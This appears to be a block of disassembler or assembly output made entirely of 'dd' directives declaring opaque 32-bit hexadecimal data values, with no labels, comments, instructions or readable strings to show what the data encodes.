dd 9B9303C3h, 0EFA7DC1Ch, 2B1699D8h, 0AF14A400h, 340881E1h
dd 0BF4800E2h, 0B3796D22h, 3E3F92CFh, 1C48CDh, 104C18EEh
dd 0B95484h, 6BFB17D8h, 1AB22375h, 0E4B63E00h, 3C2DAB8Dh
dd 0AAED0018h, 30F5CCE3h, 4C03860Fh, 0E419AEBFh, 0A0E2FB4Fh
dd 5D7C6Ah, 1C4E6DDh, 20069840h, 80F2B6F0h, 2C7A8200h
dd 3E5D2461h, 0F17E6Eh, 0A9C14C06h, 0B1CD3331h, 0ED1130FDh
dd 1EC50B17h, 0CABDFD00h, 0F0EE8712h, 0A98600FFh, 2D95253h
dd 0DE7CD6B7h, 0B1DCC200h, 568347A5h, 1A67001Bh, 70A37B7Fh
dd 0D600EB1Ch, 0ED7118E5h, 0BAB116h, 0AE2340CEh, 30641978h
dd 76A6B800h, 0D46D0A4Ah, 901BB0EAh, 913A1CDCh, 0C21143FBh
dd 0CEAD090h, 0A515B848h, 936FBD00h, 0C7AC3033h, 0A3F459h
dd 0AE1AC251h, 3688205Ch, 0F412400h, 0CA46F348h, 0B70A269Ch
dd 0E1EE0034h, 75470C37h, 0BCC7BD3Bh, 981281D9h, 940E8CCCh
dd 4C3D7088h, 64EBDE81h, 0EAE0FCB8h, 1E24003Ah, 2A1FC2A5h
dd 600E203h, 7ABF861Ah, 74523C8h, 0C6D0E093h, 53DDA109h
dd 0BDAE30DAh, 368FE400h, 0A4010416h, 3F2600F0h, 0F6D42281h
dd 4BF89938h, 0B728B660h, 17DD24DEh, 0C0BEEACh, 0CC18D09Ah
dd 0C8158900h, 0C351904Dh, 2B8B05Ah, 0F7C4143Ah, 92E0254Ch
dd 0CC0040B4h, 4E0745ADh, 195ED5D1h, 9E59A115h, 1A61E0D6h
dd 1F6F3400h, 0E0962A3Eh, 0E22100BDh, 0DC7EB41Dh, 0A590CA49h
dd 15B63601h, 0DAF8AF3Ch, 0E79820h, 290AC0F9h, 5235947Ch
dd 47D3E0Fh, 0B4D2214h, 7816C03Ah, 946500BCh, 1DE49DB6h
dd 0B100ADF9h, 31E5132Dh, 2FC3E88h, 1497E226h, 0B4805560h
dd 0DF49A34Ch, 7C45E71Eh, 931ECB93h, 0DC014480h, 7AAA36h
dd 0DD0E0956h, 77BD7BE3h, 0F20C733Ch, 98C3F000h, 0EF3B1920h
dd 425F3DCBh, 0D67AAB0Fh, 0E0FE13A0h, 52008BEBh, 0E7181BFh
dd 22DEED1h, 6F322687h, 0B080C475h, 3EF8FED7h, 481E9EE6h
dd 8039ACCEh, 6CC463AEh, 2B7883h, 5EB33746h, 1B4F899Fh
dd 71F77D00h, 0B9BE3BEEh, 7BCA1CBCh, 0B302842Fh, 67908057h
dd 0A900BDF4h, 5D78D411h, 0C7F684h, 21B3F075h, 93569773h
dd 0E0854601h, 0BB0142ABh, 1617D0C4h, 0B5857h, 0DEB4D854h
dd 8A0041ADh, 0CB6BDBA9h, 0EE151726h, 0ABF200E1h, 0F4C6D232h
dd 0DC0082D6h, 4914E753h, 3F0DEAEh, 76948CF1h, 9089E102h
dd 0C14825FCh, 6A48601Dh, 60B1F316h, 4FD72C00h, 24C0DA9h
dd 1EF6E4ACh, 4C488186h, 960012CBh, 454DE5FDh, 0D0C872h
dd 0F334FE5Ch, 300F44C2h, 4EA86700h, 4910A7DEh, 0E5D40132h
dd 71897AB3h, 0F9884052h
dd 35E0DB5Fh, 0F5F0C972h, 0A2DDC303h, 988A7B49h, 0E0393Bh
dd 0C7BB80D3h, 13058403h, 8E197E03h, 90AE7C37h, 5A1587h
dd 0FA6BD9A0h, 0F50A6CBh, 14355C24h, 0B0F34701h, 6D20C4D2h
dd 4F8E00A9h, 0FE065289h, 4CFA6E4Dh, 49ACF650h, 8B45CE3Ch
dd 0D32382h, 0CFF03C3Bh, 778A00C6h, 224557Ah, 0B000CAD8h
dd 1612623Ah, 3DC793C9h, 5980FB6Bh, 0AA98767Eh, 0AB0F9FC8h
dd 0A0D8B051h, 3B73F4E2h, 723A1DE9h, 6290C0D5h, 98F695BCh
dd 423D677Ch, 887500B0h, 0AC3259D1h, 71B900E2h, 2C83D52Fh
dd 3B1CF0CFh, 3A55E0h, 0A4638D49h, 4C7943B8h, 0DA06D834h
dd 296C289Fh, 8CD9F100h, 423E1424h, 0E2A00202h, 0B6D29B75h
dd 8DC1F068h, 97666201h, 7564B2Bh, 7E0048B8h, 1D134A20h
dd 6D00DA5Ch, 5EB03821h, 0F43C2h, 96A77E9Ch, 11AD6432h
dd 0EFE78800h, 484B470h, 0EC7009Dh, 0FEE52E76h, 25021721h
dd 0FC1A95ECh, 58EC4054h, 0D3F000B2h, 2970F133h, 0A51C6E80h
dd 0D00010B7h, 7A85678Ah, 0C41A00FEh, 1B81688Fh, 1D00383Dh
dd 63EF4E13h, 1E288523h, 7F5EBF73h, 9B31290h, 2FC9D39Fh
dd 0F613008Ch, 83362Ah, 1E53CAC7h, 5481423Dh, 3ACD5E07h
dd 0C684D1D3h, 0CF0E6480h, 57E694h, 95166DD6h, 0C307C017h
dd 7BAE8A1Eh, 66019357h, 4EFD76BEh, 20BFC885h, 81D7C754h
dd 538758FEh, 21DA9FBCh, 16B458C0h, 97C9801Eh, 0B7063C1h
dd 0D9D4BABCh, 0C17B1Eh, 9FCA4C75h, 298238C0h, 0A8A47100h
dd 36871112h, 6D20065h, 24D7DCC7h, 0EC009AF6h, 0A8124639h
dd 4C9DFAD4h, 74007096h, 43AFDE4Ah, 93002B22h, 0B1E306E1h
dd 0B085CDh, 0A3B4AB60h, 0F09474E9h, 19135094h, 0DFD1CA0Bh
dd 0E1476C00h, 5F005EA0h, 0E5A61413h, 0B97F41h, 29A46573h
dd 0C6693215h, 5B5F4200h, 0F1BEC052h, 284F03A8h, 0A5EC9741h
dd 0E11173F8h, 0B0AE4507h, 20FF639h, 4360D351h, 0BC10A816h
dd 69FB0564h, 0C5821Ch, 28EB0ABCh, 3303365Eh, 0E29E475Fh
dd 0C1A0A7ADh, 0E5C568h, 7279CB81h, 0B99D8FCAh, 3ADE7600h
dd 0FD80607Ch, 0A0F4F082h, 59B3A3C8h, 0E012D01Bh, 2708809Eh
dd 0CD01C5F6h, 733705A2h, 5674094Ah, 79B2017Ah, 0F1B5E88Ch
dd 1E2AC452h, 15000CB8h, 78B48E9Bh, 4BE0EDh, 887B19D8h
dd 0E296DA43h, 0B979D107h, 1477354h, 5AA0C270h, 0B07E0035h
dd 40C8068Ah, 3F0E7014h, 801B8E2Fh, 1C32616h, 2D940F29h
dd 59E048DCh, 2BAE2272h, 9CE4B300h, 36AFF219h, 1710C22Eh
dd 67C084BEh, 4F0005CEh, 4C9BC116h, 24FA15A8h, 39B0CAE2h
dd 1C81D7BBh, 0EA68140h, 836800EAh, 43E40060h, 0D779E3C1h
dd 47000B36h, 0D946CD26h, 1F74F131h, 0C011294Dh, 2D57D4B8h
dd 70002FC8h, 0FF3CD8C2h, 28277F5h, 15DE8E83h, 6F0078E2h
dd 3EB21446h, 0B4D63C59h, 0BF9CD102h, 0A442C871h, 85DA6CA0h
dd 0CB07A3E3h, 84345F9Ah, 53AE1660h, 0F12E1E61h, 0E290C312h
dd 6EB8DA1Bh, 49008D47h, 92C2271Ch, 3D370443h, 0BA023579h
dd 31E8FB3h, 74280FFCh, 9551F00h, 0BDD31729h, 21E03CC1h
dd 4A071638h, 1ADBE5CBh, 187100B5h, 5CCF906h, 34A41200h
dd 0E3749FCDh, 5C0E073Bh, 70AF6FEFh, 0FF82159Eh, 9B1C0C00h
dd 50DE7235h, 7F9400D8h, 0EFA5E3B3h, 0F8C03391h, 0BEAF3612h
dd 0E67A0038h, 76405A0Ch, 3E1EEC99h, 0A0C0E245h, 71E0F8DAh
dd 0C6521CACh, 1FB124EAh, 6FB8808Ch, 0FE186DB2h, 10B5EC00h
dd 0DD0B2A21h, 6ED012E6h, 55D48CCBh, 39893Ch, 16EA7D0Fh
dd 0F771FFh, 35C21FA8h, 11D5993Eh, 0E7CE3D00h, 3C9531A7h
dd 0A84662F3h, 58E01D4Eh, 20173275h, 0E400A4A3h, 61A55971h
dd 21410F07h, 3300D283h, 2A1E4A7Ch, 7E57ED17h, 11610C00h
dd 0D5FF1Ah, 7CC54E5h, 559E8447h, 0D4C0C709h, 81BC02F3h
dd 0C0A4EBE8h, 29580Fh, 48D99EE2h, 243DBD0h, 9B56AC00h
dd 4FB44751h, 88270775h, 502A03B6h, 41B713A9h, 115F38h
dd 19981A60h, 0F953C04h, 0D2DDA358h, 0C103E6E0h, 0C800F4CAh
dd 63A7ED11h, 3EE0895h, 564A5DE1h, 0AAF8055Bh, 8D0CE5D7h
dd 0B8A091EDh, 0CB4205ACh, 0C7AB9537h, 0F6B642A0h, 0E4268E00h
dd 0D38F0015h, 0F12773Dh, 910057F9h, 0CCA3E180h, 0E28514D6h
dd 0B9CF4CAFh, 20E2E400h, 607231FCh, 647A5Ch, 0A4785A24h
dd 0D00669h, 834AE2E1h, 584FF22Bh, 29C84330h, 0D83792h
dd 12DA4D45h, 61D09097h, 0A3BCD600h, 0A7CC07Eh, 2930008Bh
dd 7F97D8C6h, 72F050F4h, 54C34207h, 98A6E7CDh, 8AF11F18h
dd 38F2C02Bh, 597D53B2h, 46477500h, 321169BDh, 7853AF0h
dd 0CA400FFh, 45FFDC73h, 8400ED58h, 0C60D38A6h, 7AE7E164h
dd 5F36000Fh, 2391037Eh, 460148E9h, 372EF6D6h, 16E819E4h
dd 2B43FB7h, 1E3FC200h, 5540A20Fh, 53BD6D01h, 0AA7E0892h
dd 706430h, 15518B04h, 0C01D83CDh, 41D50E00h, 37A06B23h
dd 5DBD0067h, 93A75724h, 87001488h, 0C18F3D98h, 9A0520h
dd 318ACE1Eh, 8C9CF952h, 0F05A8800h, 0BDD90270h, 12421FC8h
dd 0BFAD008Dh, 25BCF67Eh, 0D79091F8h, 26281D00h, 0D653AF51h
dd 0E37900E2h, 600EB188h, 0C300E607h, 0F56D8EA2h, 1E2131Eh
dd 0B696B858h, 404EC6ACh, 0ADF26B9Fh, 0BF7CD900h, 0C5E457F6h
dd 0D7B101FEh, 241FCFEFh, 0D847F9F0h, 0D21C7026h, 0E90FCC66h
dd 0A1BE065h, 0E01692h, 286DF348h, 0BD5F97B9h, 81366400h
dd 1E87F8F4h, 0F5DB00C7h, 8C2A955Dh, 0F3FC836Dh, 4F150500h
dd 7AFDA59Eh, 0D78A305Eh, 0B2F59C80h, 0C0811A03h, 0D1BE8C23h
dd 1C24CA6Fh, 0A3200EEh, 70BAB57Ch, 6B263DA0h, 2000503Bh
dd 9F88252Ch, 133A1C67h, 4F26DAh, 60955B8Ch, 52012AFDh
dd 0AA686EBh, 20216C10h, 73004638h, 0B7AA87D1h, 0F6004306h
dd 20858C36h, 0FAB59BBDh, 2926000Dh, 149C3AB8h, 0AF008FC1h
dd 81D70170h, 0F37EE3h, 3F8431DEh, 4902722Ch, 3032B624h
dd 0FEF4600Eh, 23341E00h, 8FB99Bh, 7811814Eh, 7EFCD802h
dd 1A6BB712h, 65740Eh, 9683BA14h, 0D29B00C3h, 382923C6h
dd 0FD3E53E1h, 101D00B6h, 3EEF64ADh, 8C40F5DEh, 0CEB763h
dd 24CD4B78h, 0D565DB0Eh, 0EF2BBF00h, 7D3C6D84h, 20E11EAEh
dd 4CD233h, 2641EBC9h, 931F089Ah, 0B471B32h, 72F0B788h
dd 0F60C20h, 849748EAh, 0B11A3FA8h, 0F9CB5405h, 9000DD51h
dd 64D741D1h, 34B95C15h, 0FE447800h, 0C5DCE9CBh, 925C5200h
dd 0CCA0078Ch, 4241001Dh, 0B28B5634h, 0AB00089Fh, 3C17DCE1h
dd 0F431BB26h, 0A0B5790Dh, 2BDADDACh, 0C0836Ch, 4B6578B1h
dd 12076790h, 206AE3ADh, 0C0700B00h, 992200A4h, 0D24CF866h
dd 0DC004836h, 7CA99354h, 18C76B2h, 0E1B790A8h, 0E83EEB3Bh
dd 0C3007743h, 0FB21725Bh, 3CA6233h, 0DC1EE1F8h, 46E8C5BEh
dd 0B1000B78h, 87AB2F29h, 9A7ACD2h, 7DDB6A7Ah, 1FF0C400h
dd 0B600DEC1h, 0A31A4819h, 906170Ch, 6A969AF5h, 31B3000h
dd 8724C924h, 650047C6h, 80418668h, 96E80CABh, 45DC90A4h
dd 0D4151A00h, 89DAB45Ah, 3B5D018Ch, 402A39E7h, 0A0AFDCC5h
dd 62952400h, 45331786h, 5EFB0CCAh, 3F90D20Bh, 7C59F301h
dd 9A400898h, 60F49825h, 0A2F500A6h, 7B84FFD8h, 3554087Fh
dd 0F5E86710h, 0F9F6AA40h, 0F1292BD0h, 7042F701h, 0BBF4D09Fh
dd 94157300h, 7B894D3Fh, 8A180B69h, 36800685h, 131F78D2h
dd 7B599360h, 0F707CEh
dd 77213FE1h, 59D38C51h, 633A550Ah, 0A317A073h, 1C19EAACh
dd 30A240FFh, 979E5F70h, 70908900h, 0C68289Ah, 81B82EC6h
dd 63487580h, 8880007Dh, 24F4B91Dh, 9D920077h, 0B28E0DE8h
dd 9300025Ah, 4381EC22h, 69CE99h, 0AF9F166Ah, 65CF68FEh
dd 8CD4FA00h, 1B4DC4E1h, 0C5970380h, 25B98886h, 5FFEC7B8h
dd 0A87F1E30h, 0B4E863h, 48AEABE9h, 42323E50h, 0E8FD34Ch
dd 803CBCADh, 0A1E6FFD4h, 0D25E00BFh, 1091BA06h, 0BC00AF8Eh
dd 218C709Bh, 66339423h, 977E907h, 0F8A3BC21h, 6C7E2404h
dd 0E7405F85h, 7D68B8DAh, 181F6008h, 0F2193A3Ch, 0F5512200h
dd 0A66B87CBh, 5980008Dh, 944A0835h, 3C180350h, 49291AECh
dd 815A88C8h, 889B7E88h, 0AD8914AFh, 7D44E808h, 4328A072h
dd 80189E1h, 667E44E6h, 0DFA114A0h, 80080589h, 443A7944h
dd 0DD44D4AFh, 4964A0D9h, 82E8992h, 0BDF044C3h, 52ED14A0h
dd 84625A40h, 20437422h, 8807CC91h, 0EF0AB88Eh, 0E25749E0h
dd 0B3B50029h, 7C023CFBh, 0F81D0BBEh, 2503AFD6h, 0B03B558Dh
dd 0BD0913E6h, 11995640h, 84A70300h, 1F1889E3h, 0F8BC3C31h
dd 5332CA87h, 121770BBh, 0AD0B847Eh, 760D2B8h, 4A202017h
dd 77D706FFh, 0E2DB03E3h, 2D40EC5h, 40C08990h, 0BE51BB00h
dd 8E062C82h, 0F0D200DDh, 205D1AF7h, 0C300AEEEh, 849E27E8h
dd 3D1CA5FBh, 7880D09Ah, 5737AB59h, 0BF00F8DFh, 0F1DC70C3h
dd 775CE8F0h, 0FFE43EB5h, 0FC5B0680h, 0D3F73524h, 1FDFE00Bh
dd 6C6100BFh, 0D60977h, 0AB7A6EB2h, 0C57B1C6Bh, 1DCABD00h
dd 0D73E9ED5h, 1A4A004Ch, 594F9F43h, 8500453Ch, 0D2E22AE1h
dd 0E41A375h, 0BFCB7ADFh, 2D05F7E0h, 710F1E32h, 80EE2A56h
dd 0DE8F442Bh, 98D1039Bh, 0B7374CA3h, 0C1A48DE0h, 0F4E27EE0h
dd 73DA7112h, 64AF6C05h, 0A0FE9500h, 51BCA4h, 0D8697A96h
dd 46AC8152h, 0F36A3Fh, 0A33507Eh, 0DAB3FDh, 97397904h
dd 0FF102401h, 7524E3Ch, 38A9CF42h, 0D05FC04Fh, 0A6C0F0h
dd 0F31C118Fh, 321527EDh, 60D4E73Ah, 521DF520h, 0A36E0014h
dd 0B41206EFh, 6600AB98h, 0BEEADCDEh, 0C43E39h, 0C5BB2C7h
dd 881A9ED8h, 410F98F0h, 0A095FAD9h, 4881671Ch, 0A81400AEh
dd 0C2245EACh, 4A00DBECh, 0AD48B41h, 8FAAD3h, 1760E4A1h
dd 153991FEh, 2E1F03E0h, 0B040935Fh, 0BECFF9D0h, 21EE72h
dd 5B96F139h, 4D862BCAh, 65001BEAh, 1E5A0F78h, 78DA4EEh
dd 0F4EFF2DBh, 0BC7FA04Bh, 2100C26Eh, 0E3297CE7h, 5059ECA1h
dd 0F415FA33h, 0CE450BB3h, 0A881213Eh, 600BF5C4h, 0F91F6477h
dd 0BC8FACFDh, 52B500C5h, 4AD50h, 0D0B9AF1Ch, 1B580DD2h
dd 0A9FCFA00h, 0D9910867h, 52A00EE9h, 9EA1EB71h, 0EC3BCF96h
dd 14005824h, 107CC10Eh, 29AB87Fh, 0FF18214Bh, 92803213h
dd 4AD28B9Fh, 0C1196400h, 3A750E9Eh, 0ACC300F1h, 37095A82h
dd 8A0016BAh, 7DFB41A8h, 30EE2Ch, 0F999C962h, 0F61858E9h
dd 2688D217h, 2BF07FBh, 0B0833694h, 5DCDA500h, 5BBEB249h
dd 0F8E1C05Eh, 0D44F5C35h, 85C4B500h, 201BC383h, 0F9E4079Eh
dd 0A0AC1F68h, 2D4DC208h, 4BFC8E00h, 0BDEF27E2h, 1D811DF7h
dd 0CB91C306h, 55B8D3A0h, 0D800795Bh, 6A8FFFF3h, 0EC9E3Fh
dd 0DBD4DC57h, 64D60656h, 0EDEBD301h, 14ABF49Ah, 38E8B03Ah
dd 71E597Ch, 4080B693h, 0DAE177C2h, 80C031Dh, 26A9357Fh
dd 78B0B88h, 37E02900h, 0DC1430C5h, 932F00C4h, 85059ABFh
dd 7503B72Dh, 3EED8925h, 9B2080D8h, 0AE712638h, 3F95006Ch
dd 0F057862h, 68392600h, 58A81FA3h, 9B4C07ECh, 304D0189h
dd 447E3D4Fh, 0D0409800h, 20500902h, 43E0010h, 13AB536Ah
dd 0D7E0293Bh, 57984A03h, 0B0F19BB8h, 3F02F4h, 0E059A779h
dd 9D80B938h, 33CF70Fh, 60F1007Ch, 0C96D9Ah, 0BCC793CBh
dd 0FCCF70A9h, 0B01E3338h, 1DC410BDh, 0A019E65Fh, 6575EEh
dd 0A1D04ECEh, 426AB9CFh, 6F0C21F0h, 5061B6B1h, 534400AAh
dd 0CD044C51h, 8600B2D9h, 0C374EDDBh, 0E8B325B8h, 30D61ED5h
dd 40D05EC0h, 6A57A7DCh, 0A60AEACh, 90429589h, 0D44E0007h
dd 0F9C937B4h, 0A03FE4FFh, 0B7688766h, 400E3D5Fh, 806027F0h
dd 0E34D007Bh, 2CFD85D1h, 8D00156Fh, 6377E1A9h, 7CF96612h
dd 0FEEC07F2h, 0B0A609C7h, 0DC29E085h, 43516803h, 0D8BF82B0h
dd 0FA4A73CAh, 8A620040h, 65F9BE2Bh, 4607F303h, 1A3E8CB1h
dd 93F04A20h, 60B00088h, 299C9574h, 220044F5h, 8B4B301Fh
dd 0B267C4h, 0FC756C87h, 3F9CAFFAh, 0BB899D00h, 0C88A8A6h
dd 0BD9A0997h, 3B00B626h, 69B03005h, 94241A70h, 14033137h
dd 0F01C4890h, 0D59961h, 0C8F5ECE1h, 67C57749h, 8A4B3800h
dd 0E2879725h, 1D840347h, 0ED2CAE31h, 8080AC82h, 4897575Dh
dd 142BAA24h, 239C3E00h, 5EE80B7h, 26ED364Fh, 14EC004Bh
dd 0D4A2D666h, 50B9BC3Fh, 9928F8E4h, 6E0EC406h, 0E0676ACCh
dd 0F68A48F4h, 9713023Ah, 0B629FC24h, 0CE94DC80h, 0CF14326Ah
dd 0D42B80h, 4D9F578Fh, 1D7AC1D8h, 80F27E1Dh, 0F5A7DA27h
dd 88484770h, 0C3F3004Ch, 196738B6h, 0E47C00C4h, 5E265F71h
dd 68602547h, 54BD3D6Ch, 9BE60Fh, 0D493FAE7h, 0E0F589ECh
dd 651D68F8h, 0DDC3907Eh, 981E843Dh, 0D91FB7h, 716E9995h
dd 0BDD3430Ch, 684D5B00h, 0E8560446h, 595C00B4h, 0FF3EA00Ah
dd 0D12C8705h, 330068C3h, 0CAB8390Ch, 0CF5100D6h, 5738A85Ch
dd 4A009E4Bh, 48687DFAh, 7824EFh, 9F3FE0A0h, 508FD925h
dd 41373E07h, 0B8028C3h, 1EF73251h, 0C2A98A8Bh, 0DE626F3Ah
dd 0CC4F2241h, 98001C16h, 668AB2C1h, 96762Bh, 6A7FF9FBh
dd 77ED4B46h, 8C05DC70h, 88C75EE5h, 2CA980FAh, 6500A8C1h
dd 0B78DB11Ch, 19E4D4h, 9F016A08h, 74267347h, 6D6C6200h
dd 9C3FF645h, 6B7B07A9h, 8EA39986h, 6F47D140h, 98001B53h
dd 0F98229DAh, 4D5502h, 0D8420CBCh, 0EFC62404h, 0A2CD6D00h
dd 4BDCC9FDh, 7DFC00C1h, 51431D37h, 0F24D68Eh, 0AB1D0280h
dd 0CCD773C0h, 14200848h, 9CBF6E41h, 0C6D58100h, 82788D2Ah
dd 0B90C03EEh, 9AD02FF1h, 225B00C4h, 89B5AB23h, 6D005C21h
dd 88661A35h, 5239D6h, 5EE2E5A5h, 3E18E4C3h, 831CC600h
dd 119BDBF4h, 39B4017Bh, 3740D6A8h, 0E453C54Eh, 4700502Fh
dd 116816A6h, 3D750CA0h, 58039B1h, 7A28FFFBh, 0B400339Ch
dd 74813B29h, 70F5F1CBh, 4B58003Eh, 0DC92E623h, 0CA03033Fh
dd 0E8ABB7Fh, 152CD8E4h, 3C9439EBh, 10C78E00h, 0DBEE2DDAh
dd 0E478050Eh, 8565A01Fh, 7C3CCFB5h, 0B0310479h, 806A03B8h
dd 2D0F27BEh, 0C05A240Fh, 0AC698095h, 24FCDC5Ch, 2509B5h
dd 7F93EF70h, 8900D943h, 59C3C11Fh, 4CF48ADEh, 8B80085Fh
dd 2D6E957Ah, 0FF4D3Fh, 969856E8h, 388F5746h, 138705Eh
dd 0D8212E00h, 4B0E7710h, 0A2469C0Fh, 0AB6B56h, 82E124E7h
dd 31B016B6h, 0CC9440A0h, 5450265Dh, 0A402BDE2h, 32022E2Ch
dd 0C00EE0D9h, 0A2680052h, 9C486D8Bh, 15260A4Eh, 2B1FC081h
dd 636100F8h, 0BE1FBDFBh, 861800E6h, 4766A87Fh, 9F00697Dh
dd 0B128FD09h, 3DBF3615h, 5001C6Ah, 0F2CD63FAh, 3C0093E6h
dd 0F7CE31DFh, 159575Ah, 0F046AA2Bh, 0C06F4FE4h, 6CB2B7E1h
dd 72E725Ch, 92EDD10Eh, 0BEDE5C00h, 2D4004Dh, 0C7F07EB0h
dd 59012236h, 0CB138EB4h, 20BAF1CDh, 3198CFBCh, 0F42006E7h
dd 0C9152100h, 0EA5C04C2h
dd 0ED945875h, 0EBAA7600h, 57514FD6h, 128F4600h, 2B290A14h
dd 7C830090h, 30484EC7h, 0D60CFEACh, 0A8941720h, 4D4EC6Bh
dd 74D71A2Bh, 0E58CC077h, 3D13D98Eh, 70005128h, 0F73B45E1h
dd 82A53C26h, 0B3E9E000h, 755BCA30h, 47489361h, 19D49748h
dd 2BF89F10h, 0DB1CCB00h, 821A13Ah, 9DED1643h, 40C41F68h
dd 617A815h, 2047591h, 61A96CBDh, 2394F4C0h, 0ECFD4D72h
dd 0C2DF7B07h, 442B9064h, 567940A5h, 0B54D900h, 0DA9EBF30h
dd 0BB33265Fh, 0AC2500D7h, 399AF4BAh, 0B1A35701h, 0BBF56B7h
dd 7401DCh, 0FE8B17C4h, 29521B35h, 94804500h, 0E85D43ABh
dd 5CF27Bh, 3FB2644Ah, 0ADD704CAh, 812B8800h, 0A375273h
dd 4DD901BBh, 6F4BAA6Ch, 61F44145h, 3C01E8E1h, 73976A03h
dd 0A8E5F32Ah, 0CC0E37h, 207A689h, 6C5111F5h, 0B83B3601h
dd 0D452C3Ah, 3B34B1ECh, 8A00C09Dh, 0FE375665h, 6090C92Eh
dd 50168211h, 2827809Fh, 0BD5D5CC1h, 47A4C400h, 487672F6h
dd 0CA100031h, 62E03997h, 1414A965h, 0A4053Ch, 0FEED9811h
dd 153547h, 4E62537h, 0E74A9BA7h, 0FF7A9C00h, 0DACE7FEBh
dd 0FE6F0ED3h, 664018C1h, 5A76B8F7h, 0A6A0D207h, 0A4A1DA91h
dd 46C96B43h, 0B9648040h, 0F3700C9Bh, 0A771531Fh, 4BFA7803h
dd 80F68177h, 1DBBDF39h, 40E7F05Fh, 0F9F57405h, 0C40090E3h
dd 0D3ED6A2Dh, 2E2BEA75h, 60244A7Ah, 8E236CC6h, 0E459E216h
dd 0F28E301Ch, 6747028Fh, 12E884C5h, 4DD51780h, 0FAA50C3Dh
dd 0F59844C3h, 45720B04h, 28D7DE67h, 0FA80D05Ah, 501A68E6h
dd 255300BDh, 4F720D04h, 880B5224h, 80A45181h, 0E4F92100h
dd 0D6D1FDDh, 0CA138A93h, 0C28E04CCh, 693F204Eh, 3E07003Ah
dd 0BB5FD7FBh, 2A2ED4EFh, 0D8803C12h, 72B7B4E9h, 0BDEE004Bh
dd 4E258E7Eh, 0F301040Fh, 0D054B545h, 80204A53h, 74AE3C1Ch
dd 0B1383980h, 0FB5CAB96h, 3BC6E5Ch, 3285F5D3h, 0B85805B2h
dd 8006D549h, 0F87B8F67h, 4E37900h, 96D8C7A5h, 2BFA1EC6h
dd 4ED10007h, 2AAB082Dh, 0EC3E3500h, 0B45C7871h, 8BCD0968h
dd 0B8209343h, 0CC1C3767h, 4FFE500h, 40EB7836h, 7CB49096h
dd 838E003Eh, 0BD3B80D9h, 6000B9Dh, 11DFE327h, 0B820E9h
dd 0C15A81Ch, 0CF8C9B78h, 60198500h, 0D804AEDh, 1352683h
dd 7DC013Ch, 0DD2A6FA8h, 8A287097h, 0B6476B17h, 88D27800h
dd 0A7CB4Ah, 0EAB9606Ch, 78AEFA12h, 9C506400h, 0CFDB4CCh
dd 0C0830059h, 7653E5BBh, 47129EECh, 8040FB5Fh, 0DD2EB733h
dd 14C9FC37h, 9CB5CE5Bh, 0C0D4F71Ch, 0B10C871h, 0A006A3Bh
dd 509899C4h, 0F5322Bh, 0B5C179FEh, 650DE6D9h, 2003054Bh
dd 0D02DDF7Dh, 2435A4EDh, 0E81B171h, 7C4EC1h, 138F79CEh
dd 8214AA11h, 0BE89057h, 5B7380Ah, 0E4C1931Bh, 2FC4F46Fh
dd 0C5EC13h, 0A5EC249Bh, 75BC8FA8h, 0FCEA8D00h, 0AA5F3C88h
dd 4DF0E0h, 0E3B56EC0h, 0FD29981Ah, 92F6600h, 6F6BF17Fh
dd 4C2D7932h, 0A0000ED7h, 9E306459h, 0D0001ACBh, 0D353EF50h
dd 347BF4Eh, 1E7D42F7h, 2A984525h, 690733F5h, 8C1516E3h
dd 3E584070h, 63303053h, 5F615938h, 0A0B2E614h, 77BC0387h
dd 0F8188AE2h, 468570h, 0EC8F4191h, 0F67A162Fh, 60DAB300h
dd 0FB18F2AAh, 0B993A20h, 6D077EBEh, 32D98D57h, 0B16089CDh
dd 0C8002FC1h, 7AB00569h, 2EA9F8h, 32BC7D70h, 8C7F3B86h
dd 5400D271h, 4D1E27D4h, 3DFC9BEh, 66F2A59Eh, 19C04F73h
dd 0E000569Fh, 0A0308F51h, 1D012DB4h, 563C881h, 805AF0DBh
dd 593B8251h, 0FC764FECh, 0D5583E00h, 63D05DC5h, 0A0E1001Ch
dd 611ECD64h, 0FEF0CE81h, 0A6BF7E00h, 7208931Ah, 4B830E1Dh
dd 80601432h, 0C40C84F4h, 9FBBA00h, 0C0D786E4h, 3D61093Ch
dd 5F8020D9h, 0B6FE4C95h, 32D4DE0Fh, 0DB04EEC9h, 0CC8EB890h
dd 213F0061h, 0C1D553ABh, 8207E5D2h, 0B9EF4E80h, 0E4B3D310h
dd 492B0062h, 0C89949Ch, 400DA5Bh, 0F28DC069h, 7766520h
dd 5422799Fh, 4A77E6h, 648AC3CDh, 0CB3EC91Eh, 803070F2h
dd 525F4E80h, 0DFE800FEh, 81AE897Dh, 0E201E0F2h, 0EF6F346Bh
dd 144B972Ch, 373D007Fh, 0F866F628h, 3A00E74Dh, 7BA6530Ch
dd 2B4C7Eh, 5F162377h, 1F5A5EB3h, 2D2A2914h, 89700EB0h
dd 16C3C0CCh, 0E68012E7h, 289F004Fh, 0AC8713BDh, 9AF6FD23h
dd 2B0B1500h, 0CCC1BB05h, 0CD9E0F64h, 0DEE0601Fh, 27210C25h
dd 11E6FF00h, 0BDD0C8BAh, 9E940096h, 4D71A1ABh, 94906B9Dh
dd 1CAA0B00h, 0D37CFA81h, 48E80042h, 21D833A3h, 0C05128Dh
dd 623CDDADh, 0B480B485h, 0FBA214h, 0A5C473FFh, 34276F8Bh
dd 1D938600h, 0FD8A2C91h, 5B1A0460h, 9CD82FBFh, 2371EA28h
dd 0D6273202h, 81F946FEh, 9F88BDF4h, 7B790CCCh, 0A76D0782h
dd 0C1D0AEADh, 0D4412956h, 4E7D50C1h, 96B75A00h, 74A72D33h
dd 56C03E36h, 94EB9D87h, 0FC70D0F1h, 3D00F098h, 78424995h
dd 0C1FAA1B9h, 872C7C68h, 9AD840E3h, 8D002ECCh, 0A93F8619h
dd 919450h, 0C4D058E5h, 4B1528F0h, 6A06892Eh, 4CDD5700h
dd 859C4Eh, 4AA3C6D7h, 8BBFED52h, 0BD14C803h, 0C03B562Dh
dd 24A0C333h, 28E499h, 0F657B344h, 2028C46Ch, 78F8F9A5h
dd 0B5651200h, 8AF2822Ah, 14F31F1Ch, 826EDC56h, 28200F30h
dd 0B8A8BDC3h, 0BB00ADCEh, 2B5F5B91h, 0B15086h, 0E39571E4h
dd 964A2189h, 3200DFE2h, 0E678D9D4h, 4933C3h, 40592D38h
dd 1E5603A8h, 0E100E4F0h, 0D93CD787h, 98396Fh, 0DB667281h
dd 941B963h, 762D8F0Eh, 0E1F800C6h, 0A01ACE22h, 1F1DBD7h
dd 19C58354h, 0C441B166h, 0C3029AC8h, 0D23AFF79h, 0DDFBE01Ah
dd 638807C7h, 139C3B7Ch, 19F889CFh, 681CC0B0h, 39C0E7A5h
